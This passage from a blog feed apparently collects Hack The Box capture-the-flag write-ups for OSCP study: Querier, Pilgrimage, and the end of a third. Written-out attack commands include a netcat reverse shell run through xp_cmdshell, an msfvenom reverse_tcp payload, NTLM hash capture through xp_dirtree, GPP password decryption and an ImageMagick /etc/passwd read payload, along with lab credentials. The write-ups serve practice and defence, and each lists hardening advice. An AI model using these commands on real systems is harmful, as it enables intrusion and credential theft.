<p><strong>5. Understanding Implants vs Traditional Payloads- How to Use Sliver</strong><br />This box taught me that msfvenom payloads are often noisy and easily detected. In contrast, tools like Sliver generate implants that:</p>
<ul>
<li><p>Use modern communication methods (like mTLS)</p>
</li>
<li><p>Are obfuscated and less signature-based</p>
</li>
<li><p>Behave more like real applications</p>
</li>
</ul>
<p>This is a major shift in mindset from “just get a shell” to “get a shell that survives defenses.”</p>
<p><strong>6. Tool Adaptation Is Critical</strong><br />When msfvenom failed, switching to Sliver wasn’t optional—it was necessary. This reinforced the idea that no single tool is enough.</p>
<hr />
<h1>6. Defensive Insight</h1>
<p><strong>1. Proper Input Validation Prevents SQL Injection</strong><br />Parameterized queries would have completely eliminated the initial attack vector.</p>
<p><strong>2. Restrict Dangerous SQL Functions</strong><br />Functions like <code>xp_dirtree</code> should not be accessible, as they enable forced authentication attacks.</p>
<p><strong>3. Block Outbound SMB Traffic</strong><br />Preventing outbound authentication would stop NTLM hash capture attacks entirely.</p>
<p><strong>4. Secure Service Execution Paths</strong><br />Services running as SYSTEM must not rely on executables in writable directories.</p>
<p><strong>5. Improve Behavioral Detection</strong><br />Signature-based detection caught msfvenom, but stronger behavioral detection is needed to catch more advanced implants like those generated by Sliver.</p>
<hr />
<h1>Useful Commands</h1>
<h3>Nmap Scan</h3>
<pre><code class="language-bash">nmap -sC -sV -T4 10.129.96.140
</code></pre>
<h3>Directory Fuzzing</h3>
<pre><code class="language-bash">ffuf -u https://10.129.96.140/FUZZ -w /usr/share/wordlists/elite.txt
</code></pre>
<h3>SQL Injection with sqlmap</h3>
<pre><code class="language-bash">sqlmap -u "http://10.129.96.140/mvc/Product.aspx?ProductSubCategoryId=11" --level 4 --risk 3 --batch
</code></pre>
<h3>NTLM Capture via SQL Server</h3>
<pre><code class="language-bash">--sql-query="EXEC master..xp_dirtree '\\\\10.10.15.205\\share'"
</code></pre>
<h3>Crack NTLM Hash</h3>
<pre><code class="language-bash">john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
</code></pre>
<h3>Generate msfvenom Payload</h3>
<pre><code class="language-bash">msfvenom -p windows/shell/reverse_tcp LHOST=10.10.15.205 LPORT=7777 -f exe -o taskkill.exe
</code></pre>
<h3>Enumerate Services via Registry</h3>
<pre><code class="language-powershell">dir HKLM:\SYSTEM\CurrentControlSet\Services | findstr /i unifi
</code></pre>
<h3>Generate Sliver Implant</h3>
<pre><code class="language-bash">sliver &gt; mtls
sliver &gt; generate --mtls 10.10.15.205 --os windows --arch amd64
</code></pre>
<hr />
]]></content:encoded></item><item><title><![CDATA[OSCP Prep #18
HTB Write-Up Querier]]></title><description><![CDATA[1. Target Overview
Machine Name: QuerierPlatform: HackTheBoxOperating System: WindowsTarget IP: 10.129.9.231
Objective:Gain initial access to the target system and escalate privileges to obtain admini]]></description><link>https://www.hack2harden.com/oscp-prep-18-htb-write-up-querier</link><guid isPermaLink="true">https://www.hack2harden.com/oscp-prep-18-htb-write-up-querier</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Fri, 27 Mar 2026 03:22:02 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/8f390a8d-3c37-49b7-8feb-466859796167.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>1. Target Overview</h1>
<p><strong>Machine Name:</strong> Querier<br /><strong>Platform:</strong> HackTheBox<br /><strong>Operating System:</strong> Windows<br /><strong>Target IP:</strong> 10.129.9.231</p>
<p><strong>Objective:</strong><br />Gain initial access to the target system and escalate privileges to obtain administrative-level access.</p>
<p>This machine stood out to me because there was no Active Directory domain to lean on and no web application to exploit. Everything revolved around SMB and MSSQL,</p>
<h2>Tools Used</h2>
<ul>
<li><p>RustScan</p>
</li>
<li><p>SMBClient</p>
</li>
<li><p>NetExec (nxc)</p>
</li>
<li><p>Olevba</p>
</li>
<li><p>Impacket (mssqlclient)</p>
</li>
<li><p>Responder</p>
</li>
<li><p>John the Ripper</p>
</li>
<li><p>Netcat</p>
</li>
<li><p>Evil-WinRM</p>
</li>
<li><p>gpp-decrypt</p>
</li>
</ul>
<hr />
<h1>2. Enumeration</h1>
<p>I kicked things off with a port scan to map out the attack surface:</p>
<pre><code class="language-bash">rustscan -a 10.129.9.231 -b 7000
</code></pre>
<p>The results painted a clear picture:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ceeaa34a-0097-433a-bd91-816e70215445.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><p>SMB (139, 445)</p>
</li>
<li><p>RPC (135 + high ports)</p>
</li>
<li><p>WinRM (5985)</p>
</li>
<li><p>MSSQL (1433)</p>
</li>
</ul>
<p>That combination immediately suggested a Windows host with remote management exposed and a database service.</p>
<p>Another useful detail surfaced during enumeration—the FQDN:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/bc4362d4-368a-431c-9a07-19c9b31ea119.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">querier.htb.local
</code></pre>
<p>I added it to my hosts file right away:</p>
<pre><code class="language-bash">echo "10.129.9.231 querier.htb.local" | sudo tee -a /etc/hosts
</code></pre>
<hr />
<h3>SMB Enumeration</h3>
<p>With SMB open, it made sense to start there. It’s fast to check and has a habit of exposing things it shouldn’t—whether that’s files, usernames, or outright credentials.</p>
<p>My first pass used NetExec:</p>
<pre><code class="language-bash">nxc smb 10.129.9.231 -u '' -p '' --shares
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/2b542d28-a21f-40ae-adf7-5f3975f7dd45.png" alt="" style="display:block;margin:0 auto" />

<p>The output suggested that anonymous authentication wasn’t allowed. That could have been the end of the road for SMB, but I’ve seen enough inconsistencies across tools to know better than to trust a single result.</p>
<p>To verify, I switched to <code>smbclient</code>:</p>
<pre><code class="language-bash">smbclient -N -L //10.129.9.231
</code></pre>
<p>This time, I got a valid share listing.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b505ecdd-cbfa-4594-9c2b-efb9585d9d78.png" alt="" style="display:block;margin:0 auto" />

<p>That difference is exactly why it’s worth cross-checking tools—same idea, different implementation, completely different outcome.</p>
<p>Among the shares, one stood out:</p>
<pre><code class="language-text">Reports
</code></pre>
<p>I connected to it:</p>
<pre><code class="language-bash">smbclient -N //10.129.9.231/Reports
</code></pre>
<p>A quick directory listing showed:</p>
<pre><code class="language-text">Currency Volume Report.xlsm
</code></pre>
<p>A single file, I downloaded it for a closer look.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/0c79bd70-101d-4c5b-a0e3-cd0f67104f72.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h3>File Analysis</h3>
<p>Macro-enabled Office files are always worth digging into. They’re often used to automate tasks internally, which means they sometimes carry hardcoded credentials or logic that wasn’t meant to be exposed.</p>
<p>After pulling the file locally, I ran:</p>
<pre><code class="language-bash">olevba Currency\ Volume\ Report.xlsm
</code></pre>
<p>The macro content revealed exactly that—embedded credentials:</p>
<pre><code class="language-text">User: reporting
Password: PcwTWrHwrwyjc$c6
</code></pre>
<p>At this point, the direction was clear. Those credentials had to belong somewhere, and given the services available, MSSQL was the most likely candidate.</p>
<hr />
<h1>3. Exploitation</h1>
<p>With a valid username and password in hand, the next step was to test them against exposed services. MSSQL stood out immediately, especially since service accounts are often tied directly to database access.</p>
<pre><code class="language-bash">impacket-mssqlclient reporting:PcwTWrHwrwyjc$c6@10.129.9.231 -windows-auth
</code></pre>
<p>The connection succeeded, giving me a foothold inside the database.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/a9d73347-12d4-4e5f-99ac-23ec7b47d9d4.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h3>Initial SQL Enumeration</h3>
<p>The first priority was to understand the level of access I had:</p>
<pre><code class="language-sql">SELECT * FROM fn_my_permissions(NULL, 'SERVER');
</code></pre>
<p>The result showed that <code>reporting</code> was a low-privileged user. No direct path to execution there.</p>
<p>Next, I checked what databases were available:</p>
<pre><code class="language-sql">SELECT name FROM master.sys.databases;
</code></pre>
<p>One entry stood out:</p>
<pre><code class="language-text">volume
</code></pre>
<p>Switching to it:</p>
<pre><code class="language-sql">use volume;
</code></pre>
<p>Unfortunately, it was empty. No useful tables, no sensitive data, nothing to extract.</p>
<p>At that point, it was clear that progress wouldn’t come from data mining. The focus had to shift toward abusing MSSQL itself.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/feb11263-b0c2-4623-9fee-a1197d97c8a8.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h3>Hash Capture via xp_dirtree</h3>
<p>MSSQL includes several stored procedures that interact with the filesystem, and some of them can be repurposed in interesting ways. One of those is <code>xp_dirtree</code>.</p>
<p>Instead of pointing it at a local directory, I directed it toward a share I controlled:</p>
<pre><code class="language-sql">xp_dirtree \\10.10.15.205\neo
</code></pre>
<p>That forced the server to attempt an SMB connection back to me.</p>
<p>Behind the scenes, the MSSQL service tried to authenticate to my machine using its own service account. With Responder running, I captured the resulting NTLMv2 hash:</p>
<pre><code class="language-text">mssql-svc::QUERIER:...
</code></pre>
<hr />
<h3>Cracking the Hash</h3>
<p>Once captured, the hash was saved and cracked:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/825f6da8-4bc1-466a-af4e-36f92e5cf8f3.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
</code></pre>
<p>The result:</p>
<pre><code class="language-text">mssql-svc : corporate568
</code></pre>
<p>This was the real pivot point. Service accounts tend to have broader permissions, and this one was no exception.</p>
<hr />
<h1>4. Privilege Escalation</h1>
<h3>MSSQL Privilege Abuse → RCE</h3>
<p>I reconnected using the new credentials:</p>
<pre><code class="language-bash">impacket-mssqlclient mssql-svc:corporate568@10.129.9.231 -windows-auth
</code></pre>
<p>Checking permissions again:</p>
<pre><code class="language-sql">SELECT * FROM fn_my_permissions(NULL, 'SERVER');
</code></pre>
<p>This time, the output told a very different story:</p>
<ul>
<li><p><code>CONTROL SERVER</code></p>
</li>
<li><p><code>IMPERSONATE</code></p>
</li>
</ul>
<p>Those privileges effectively grant full control over the MSSQL instance. At that point, the goal shifts from access to execution.</p>
<hr />
<h3>Enabling xp_cmdshell</h3>
<p>With sufficient privileges, I enabled <code>xp_cmdshell</code>:</p>
<pre><code class="language-sql">EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
</code></pre>
<p>This is where MSSQL stops being just a database and starts acting as a bridge into the operating system.</p>
<hr />
<h3>Reverse Shell</h3>
<p>To turn command execution into a usable foothold, I hosted a Netcat binary over SMB and executed it remotely:</p>
<pre><code class="language-sql">xp_cmdshell \\10.10.15.205\zion\nc.exe -e powershell.exe 10.10.15.205 9001
</code></pre>
<p>On my end:</p>
<pre><code class="language-bash">nc -lvnp 9001
</code></pre>
<p>The connection came through as:</p>
<pre><code class="language-text">querier\mssql-svc
</code></pre>
<p>Now I had a shell on the box.</p>
<hr />
<h3>Local Enumeration</h3>
<p>With system access established, I moved into local enumeration.</p>
<p>Checking privileges:</p>
<pre><code class="language-powershell">whoami /all
</code></pre>
<p>Nothing useful.</p>
<p>Looking at users:</p>
<ul>
<li><p><code>mssql-svc</code></p>
</li>
<li><p><code>Administrator</code></p>
</li>
</ul>
<p>That ruled out lateral movement and pointed toward local privilege escalation.</p>
<p>Autologon credentials were next on the list, but nothing turned up. At that stage, I started checking common misconfigurations that tend to get overlooked.</p>
<hr />
<h3>GPP Password Discovery</h3>
<p>One of the more reliable places to look in environments like this is cached Group Policy Preferences.</p>
<p>I navigated to:</p>
<pre><code class="language-text">C:\ProgramData\Microsoft\Group Policy\History\
</code></pre>
<p>Then searched for XML files:</p>
<pre><code class="language-powershell">dir "C:\ProgramData\Microsoft\Group Policy\History\" -Recurse -Include *.xml
</code></pre>
<p>This led me to:</p>
<pre><code class="language-text">Groups.xml
</code></pre>
<p>Inside was a <code>cpassword</code> value—exactly what I was hoping to find.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/5ff178b3-c6a0-444d-8658-8806773c70ff.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h3>Decrypting cpassword</h3>
<p>I pulled the value and decrypted it:</p>
<pre><code class="language-bash">gpp-decrypt &lt;cpassword&gt;
</code></pre>
<p>Which returned:</p>
<pre><code class="language-text">Administrator : MyUnclesAreMarioAndLuigi!!1!
</code></pre>
<p>That was the final piece.</p>
<hr />
<h3>Final Access</h3>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/c2d1adcf-f9f7-4f40-b702-48e996f5ebd2.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">evil-winrm -i 10.129.9.231 -u Administrator
</code></pre>
<pre><code class="language-powershell">whoami
querier\administrator
</code></pre>
<hr />
<h1>5. Lessons Learned</h1>
<p><strong>1. Enumeration Needs Verification, Not Assumptions</strong><br />A single tool suggested SMB was locked down. A second tool proved otherwise. That difference led directly to initial access.</p>
<p><strong>2. SMB Still Delivers Value in Subtle Ways</strong><br />Even limited access can expose files that shift the entire attack path.</p>
<p><strong>3. MSSQL Is a Full Attack Surface</strong><br />Treating it as just a database would have stalled progress. Understanding its interaction with the system made the difference.</p>
<p><strong>4. xp_dirtree Is a Reliable Pivot Technique</strong><br />It turns database access into credential harvesting with very little effort.</p>
<p><strong>5. Privilege Context Defines Capability</strong><br />The jump from low-priv user to <code>CONTROL SERVER</code> is what unlocked RCE.</p>
<p><strong>6. GPP Credentials Are Still an Easy Win</strong><br />They remain one of the most consistent privilege escalation vectors on Windows systems.</p>
<p><strong>7. Small Details Compound Into Full Compromise</strong><br />No single step here was overly complex, but each one built cleanly into the next.</p>
<hr />
<h1>6. Defensive Insight</h1>
<p><strong>1. SMB Access Should Be Consistently Enforced</strong><br />Inconsistent handling of anonymous access can expose sensitive resources.</p>
<p><strong>2. Credentials Should Never Be Embedded in Files</strong><br />Storing passwords in macros creates immediate exposure if the file is accessible.</p>
<p><strong>3. MSSQL Features Like xp_cmdshell Should Be Restricted</strong><br />These capabilities should not be available without strict controls.</p>
<p><strong>4. Outbound Authentication Should Be Monitored</strong><br />Unexpected SMB connections to external hosts are a strong indicator of abuse.</p>
<p><strong>5. GPP Password Storage Should Be Eliminated</strong><br /><code>cpassword</code> is reversible and should not exist in any modern environment.</p>
<p><strong>6. Service Accounts Should Follow Least Privilege</strong><br />Granting <code>CONTROL SERVER</code> unnecessarily creates a direct path to compromise.</p>
<hr />
<h2>7. Useful Commands</h2>
<h3>Scanning</h3>
<pre><code class="language-bash">rustscan -a 10.129.9.231 -b 7000
</code></pre>
<h3>SMB Enumeration</h3>
<pre><code class="language-bash">smbclient -N -L //10.129.9.231
smbclient -N //10.129.9.231/Reports
</code></pre>
<h3>File Analysis</h3>
<pre><code class="language-bash">olevba Currency\ Volume\ Report.xlsm
</code></pre>
<h3>MSSQL Access</h3>
<pre><code class="language-bash">impacket-mssqlclient reporting:PcwTWrHwrwyjc$c6@10.129.9.231 -windows-auth
impacket-mssqlclient mssql-svc:corporate568@10.129.9.231 -windows-auth
</code></pre>
<h3>SQL Enumeration</h3>
<pre><code class="language-sql">SELECT * FROM fn_my_permissions(NULL, 'SERVER');
SELECT name FROM master.sys.databases;
</code></pre>
<h3>Hash Capture</h3>
<pre><code class="language-sql">xp_dirtree \\10.10.15.205\neo
</code></pre>
<h3>Cracking</h3>
<pre><code class="language-bash">john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
</code></pre>
<h3>Reverse Shell</h3>
<pre><code class="language-sql">xp_cmdshell \\10.10.15.205\zion\nc.exe -e powershell.exe 10.10.15.205 9001
</code></pre>
<h3>GPP Decryption</h3>
<pre><code class="language-bash">gpp-decrypt &lt;cpassword&gt;
</code></pre>
<h3>Final Access</h3>
<pre><code class="language-bash">evil-winrm -i 10.129.9.231 -u Administrator
</code></pre>
<hr />
]]></content:encoded></item><item><title><![CDATA[OSCP Prep #17 
HTB Write-Up Pilgrimage]]></title><description><![CDATA[1. Target Overview

Machine Name: Pilgrimage

Platform: Hack The Box

Operating System: Linux

Target IP: 10.129.9.115

Objective: Gain initial access to the target system and escalate privileges to o]]></description><link>https://www.hack2harden.com/oscp-prep-17-htb-write-up-pilgrimage</link><guid isPermaLink="true">https://www.hack2harden.com/oscp-prep-17-htb-write-up-pilgrimage</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Thu, 26 Mar 2026 00:52:44 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/2991ad56-8027-4cf0-ba61-97a576e3e8a7.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>1. Target Overview</h1>
<ul>
<li><p><strong>Machine Name:</strong> Pilgrimage</p>
</li>
<li><p><strong>Platform:</strong> Hack The Box</p>
</li>
<li><p><strong>Operating System:</strong> Linux</p>
</li>
<li><p><strong>Target IP:</strong> 10.129.9.115</p>
</li>
<li><p><strong>Objective:</strong> Gain initial access to the target system and escalate privileges to obtain full system compromise.</p>
</li>
</ul>
<p>Pilgrimage was one of the more instructive machines I’ve worked through so far. It combined a clean initial foothold with a privilege escalation path that really forced me to understand what the system was doing behind the scenes.</p>
<h3>Tools Used</h3>
<ul>
<li><p>Nmap</p>
</li>
<li><p>RustScan</p>
</li>
<li><p>ffuf</p>
</li>
<li><p>git-dumper</p>
</li>
<li><p>pngcrush</p>
</li>
<li><p>sqlite3</p>
</li>
<li><p>searchsploit</p>
</li>
<li><p>binwalk</p>
</li>
<li><p>netcat</p>
</li>
</ul>
<hr />
<h1>2. Enumeration</h1>
<h3>Initial Reconnaissance</h3>
<p>As always, I started with a port scan using RustScan to quickly identify open ports and pass them into Nmap for deeper analysis.</p>
<pre><code class="language-bash">rustscan -a 10.129.9.115 -b 7000 -- -sC -sV -T4
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/815bc738-1483-4cfd-893a-4de2672550af.png" alt="" style="display:block;margin:0 auto" />

<p>The results showed a very narrow attack surface:</p>
<ul>
<li><p>Port 22 (SSH)</p>
</li>
<li><p>Port 80 (HTTP)</p>
</li>
</ul>
<p>Since SSH is rarely useful without credentials, I focused on the web server.</p>
<p>During the scan, I noticed a redirect to <code>pilgrimage.htb</code>, so I added it to my <code>/etc/hosts</code> file.</p>
<hr />
<h3>Web Enumeration</h3>
<p>I began with virtual host fuzzing to see if there were additional domains:</p>
<pre><code class="language-bash">ffuf -u http://10.129.9.115 -H "Host: FUZZ.pilgrimage.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
</code></pre>
<p>No additional domains were discovered, so I moved on to directory fuzzing:</p>
<pre><code class="language-bash">ffuf -u http://pilgrimage.htb/FUZZ -w /usr/share/wordlists/elite.txt -fc 403
</code></pre>
<p>This revealed a key finding:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/6fb40ea3-d04d-43c1-83f1-91e2c70d75b0.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">.git/
</code></pre>
<p>An exposed <code>.git</code> directory is always a strong signal that source code may be recoverable, which can completely change how you approach the box.</p>
<hr />
<h3>Application Analysis</h3>
<p>Browsing the site, I found an image compression application. Since user-uploaded files were being processed on the server, this immediately stood out as a potential attack surface.</p>
<p>My first instinct was command injection. The logic is straightforward: if user input is passed into a system binary without proper sanitization, it can lead to remote command execution.</p>
<p>However, I ran into a few constraints:</p>
<ul>
<li><p>I could not control the filename being passed to the backend</p>
</li>
<li><p>File uploads were filtered (PHP files were blocked)</p>
</li>
<li><p>Changing extensions or embedding PHP code did not bypass the filter</p>
</li>
</ul>
<p>At this point, it was clear that direct RCE through file upload was not the intended path, so I shifted focus.</p>
<hr />
<h1>3. Exploitation</h1>
<h3>Source Code Disclosure via <code>.git</code></h3>
<p>The exposed <code>.git</code> directory allowed me to reconstruct the full repository:</p>
<pre><code class="language-bash">git-dumper http://pilgrimage.htb/.git src
</code></pre>
<p>This removed guesswork entirely. Instead of probing blindly, I could now see exactly how the application worked.</p>
<p>While reviewing the source, I found that uploaded images were processed using a binary called <code>magick</code>, part of ImageMagick.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/929097c7-f18c-44b0-8448-8eafaadc69bd.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h3>LFI via ImageMagick (What’s Actually Happening)</h3>
<p>ImageMagick processes images by parsing both the image data and any embedded metadata. One feature it supports is embedded profiles inside image files.</p>
<p>The vulnerability here comes from how those profiles are interpreted.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/1e1fd752-cf31-4ded-92ba-ed8b5806025c.png" alt="" style="display:block;margin:0 auto" />

<p>Using <code>pngcrush</code>, I created a malicious PNG:</p>
<pre><code class="language-bash">pngcrush -text a "profile" "/etc/passwd" input.png output.png
</code></pre>
<p>Here’s what’s happening behind the scenes:</p>
<ul>
<li><p>The PNG includes a text chunk labeled <code>profile</code></p>
</li>
<li><p>Instead of treating this as harmless metadata, ImageMagick treats it as a file reference</p>
</li>
<li><p>It attempts to open and read the file from disk</p>
</li>
<li><p>The contents of that file are embedded into the processed output image</p>
</li>
</ul>
<p>So when the application processes the image:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/82dd672c-ea65-4b5b-92de-a509d5879f0b.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><p><code>/etc/passwd</code> is read on the server</p>
</li>
<li><p>Its contents are injected into the output</p>
</li>
<li><p>That output is returned to me</p>
</li>
</ul>
<p>This effectively gives me a file read primitive through the backend.</p>
<p>The key point here is that this is not a traditional LFI through a URL parameter—this is LFI through abusing how a backend library parses user-controlled input.</p>
<hr />
<h3>Why RFI Was Not an Option</h3>
<p>At this point, a common instinct is to try Remote File Inclusion to get code execution.</p>
<p>That doesn’t apply here.</p>
<p>This vulnerability:</p>
<ul>
<li><p>Only reads local files</p>
</li>
<li><p>Does not execute what it reads</p>
</li>
<li><p>Does not support remote paths</p>
</li>
</ul>
<hr />
<h3>Credential Extraction via LFI</h3>
<p>Instead of chasing RCE, I shifted focus to what LFI is best at: reading sensitive data.</p>
<p>From reviewing the source code, I already knew the application used a SQLite database. That immediately became my target.</p>
<p>Using the same technique, I extracted the database file, rebuilt it locally, and dumped its contents:</p>
<pre><code class="language-bash">xxd -r -p pil.db.hex &gt; pil.db
sqlite3 pil.db
.dump
</code></pre>
<p>This revealed credentials for a valid user:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ed00b1cb-7a0a-4ce7-a12c-dfa3ee715ed8.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-sql">INSERT INTO users VALUES('emily','abigchonkyboi123');
</code></pre>
<hr />
<h3>Initial Access</h3>
<p>With SSH open, I used the recovered credentials to log in as <code>emily</code> and gained a shell on the system.</p>
<hr />
<h1>4. Privilege Escalation</h1>
<h3>Binwalk Vulnerability</h3>
<p>Inside Emily’s home directory, I found a reference to <code>binwalk</code>. Checking the version showed it was vulnerable to command execution.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/258a07e6-1259-422c-91a3-c84796186fa4.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/7da9ec4b-4f32-46ef-bffb-6bde9cdd7620.png" alt="" style="display:block;margin:0 auto" />

<p>Binwalk analyzes files by extracting embedded data and processing it. The issue is that it does not safely handle certain extracted content, which allows crafted files to trigger command execution.</p>
<p>However, running the exploit directly would only give me a shell as <code>emily</code>, so I needed to find where binwalk was being used with higher privileges.</p>
<hr />
<h3>Root Script Behavior</h3>
<p>Using:</p>
<pre><code class="language-bash">ps auxww
</code></pre>
<p>I discovered a root-owned process monitoring a directory:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/29104660-fed6-4436-894d-9af94ef8ed6a.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/8e217235-b42a-49a1-8488-d799610c74a6.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><p>The system watches for new files</p>
</li>
<li><p>When a file is created, a script runs</p>
</li>
<li><p>That script processes the file using binwalk</p>
</li>
<li><p>The script runs as root</p>
</li>
</ul>
<p>This creates a dangerous condition:</p>
<p>A privileged process is automatically handling user-controlled input.</p>
<hr />
<h3>Exploitation</h3>
<ol>
<li><p>Create a malicious file targeting the binwalk vulnerability</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/db1fe891-73fc-4137-b922-86e440c41308.png" alt="" style="display:block;margin:0 auto" />
</li>
<li><p>Place it in the monitored directory</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/c7713188-b48e-4fe5-b2e1-535f909f9941.png" alt="" style="display:block;margin:0 auto" />
</li>
<li><p>Wait for the root script to process it</p>
</li>
</ol>
<p>When the script triggered, it executed binwalk as root against my payload, resulting in a reverse shell.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/9db44fc5-3ec9-4a22-9cda-b825419bf63e.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h1>5. Lessons Learned</h1>
<h3><strong>1. LFI Is About Data First, Not Execution</strong></h3>
<p>One of the biggest takeaways from this box is that LFI is not always about getting code execution. In many cases, its real value comes from reading sensitive files such as databases, configuration files, or credentials. In this case, focusing on data extraction instead of forcing RCE led directly to a working foothold.</p>
<h3><strong>2. Source Code Changes Everything</strong></h3>
<p>Having access to the application’s source code through the exposed <code>.git</code> directory removed guesswork entirely. Instead of blindly testing inputs, I was able to understand how the application worked, identify backend components, and target specific files with purpose.</p>
<h3><strong>3. File Processing Is a High-Risk Attack Surface</strong></h3>
<p>Applications that process user-uploaded files introduce complex parsing behavior. Tools like ImageMagick are powerful but can interpret metadata in unexpected ways, which creates opportunities for vulnerabilities like this one. Any time files are being processed server-side, it should immediately raise attention.</p>
<h3><strong>4. Automation Combined with Privilege Is Dangerous</strong></h3>
<p>The privilege escalation in this box was not just about a vulnerable binary—it was about how that binary was being used. A root process was automatically executing binwalk on user-controlled input, which created a reliable path to escalation. Automation without proper safeguards is a serious risk.</p>
<h3><strong>5. Running Processes Often Reveal the Path Forward</strong></h3>
<p>The <code>ps auxww</code> output directly exposed the privilege escalation vector. Without checking running processes, it would have been much harder to identify how binwalk was being used. This reinforces how critical process enumeration is during privesc.</p>
<hr />
<h1>6. Defensive Insight</h1>
<h3><strong>1. Do Not Expose</strong> <code>.git</code> <strong>Directories</strong></h3>
<p>Exposing a <code>.git</code> directory in production allows attackers to reconstruct the entire codebase, including sensitive logic and configuration details. This should always be blocked at the web server level.</p>
<h3><strong>2. Secure File Processing Pipelines</strong></h3>
<p>Any application that processes uploaded files must strictly validate and sanitize input. User-controlled data should never be passed directly into system-level tools without proper handling or isolation.</p>
<h3><strong>3. Patch Third-Party Dependencies</strong></h3>
<p>Both ImageMagick and binwalk had known vulnerabilities that were exploited in this box. Keeping dependencies updated is one of the simplest and most effective ways to prevent these types of attacks.</p>
<h3><strong>4. Restrict Access to Sensitive Files</strong></h3>
<p>Database files and other sensitive resources should not be readable by components that interact with user input. Proper file permission controls can significantly limit the impact of vulnerabilities like LFI.</p>
<h3><strong>5. Avoid Root-Level Automation on Untrusted Input</strong></h3>
<p>Automated processes running as root should never directly process user-controlled data. If automation is required, it should be isolated, validated, and run with the least privileges necessary.</p>
<hr />
<h1>7. Useful Commands</h1>
<h3><strong>Virtual Host Fuzzing (Discover Subdomains)</strong></h3>
<pre><code class="language-plaintext">ffuf -u http://10.129.9.115 -H "Host: FUZZ.pilgrimage.htb" -w 
/usr/share/seclists/Discovery/DNS/subdomains-t
</code></pre>
<h3><strong>Dump Exposed</strong> <code>.git</code> <strong>Repository</strong></h3>
<pre><code class="language-plaintext">git-dumper http://pilgrimage.htb/.git src
</code></pre>
<h3><strong>Craft Malicious PNG for LFI (ImageMagick Abuse)</strong></h3>
<pre><code class="language-plaintext">pngcrush -text a "profile" "/etc/passwd" input.png output.png
</code></pre>
<hr />
<h3><strong>Reconstruct Extracted Database File</strong></h3>
<pre><code class="language-plaintext">xxd -r -p pil.db.hex &gt; pil.db
</code></pre>
<h3><strong>Read SQLite Database Contents</strong></h3>
<pre><code class="language-plaintext">sqlite3 pil.db
.dump
</code></pre>
<hr />
<h3><strong>Enumerate Running Processes</strong></h3>
<pre><code class="language-plaintext">ps auxww
</code></pre>
]]></content:encoded></item><item><title><![CDATA[OSCP Prep #16
HTB Write-Up Return]]></title><description><![CDATA[1. Target Overview
